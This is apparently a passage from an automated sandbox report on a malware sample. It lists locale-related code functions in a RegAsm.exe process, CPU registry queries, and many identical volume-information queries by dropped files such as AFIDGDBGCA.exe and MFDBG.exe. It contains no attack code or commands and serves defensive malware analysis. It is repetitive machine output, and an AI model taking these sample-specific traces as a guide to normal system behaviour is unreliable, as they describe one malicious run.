Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free, 3_2_00429A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen, 3_2_0042B238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage, 3_2_0042B293
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement, 3_2_0042AB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW, 3_2_004253B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage, 3_2_0042B464
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea, 3_2_0042746C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat, 3_2_00427546
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA, 3_2_0042B550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesA, 3_2_0042B526
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free, 3_2_00429D3E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l, 3_2_0042E53F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s, 3_2_0042B5F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo, 3_2_00428D94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA, 3_2_0042B5B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoA, 3_2_0042E674
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Queries volume information: C:\ProgramData\AFIDGDBGCA.exe VolumeInformation Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
